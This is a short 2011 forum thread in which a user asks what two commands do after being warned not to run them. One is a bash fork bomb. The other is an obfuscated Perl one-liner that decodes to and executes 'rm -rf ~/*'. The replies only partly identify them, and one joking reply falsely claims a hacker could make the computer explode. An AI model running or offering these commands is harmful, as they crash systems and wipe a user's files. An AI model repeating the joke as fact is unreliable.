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They told me not to do these commands: Code: bash$ :(){ :|:&};: -- bash$ `perl -e\'print\"\x72\x6D\x20\x2D\x72\x66\x20\x7E\x2F\x2A\"\'` Can someone tell me what they do ?...
  1. 02-21-2011 #1
    Bertieboy7
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    Exclamation What does these commands do? They look dangerous

    They told me not to do these commands:

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    bash$ :(){ :|:&};: -- 
bash$ `perl -e\'print\"\\x72\\x6D\\x20\\x2D\\x72\\x66\\x20\\x7E\\x2F\\x2A\"\'`
    Can someone tell me what they do ?
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  2. 02-21-2011 #2
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    Yeah, it means someone has hacked your system. You must turn off your computer asap, because the hacker can send a self-destrcut command which will blow your computer up.
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    Quote Originally Posted by GreenSkyChris View Post
    Yeah, it means someone has hacked your system. You must turn off your computer asap, because the hacker can send a self-destrcut command which will blow your computer up.
    Surely, you jest.
    It could be a fork bomb but that's just a guess and I'm not about to try and find out the hard way.

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  4. 02-21-2011 #4
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    Quote Originally Posted by MikeTbob View Post
    Surely, you jest.
    , Sorry I could not resist.
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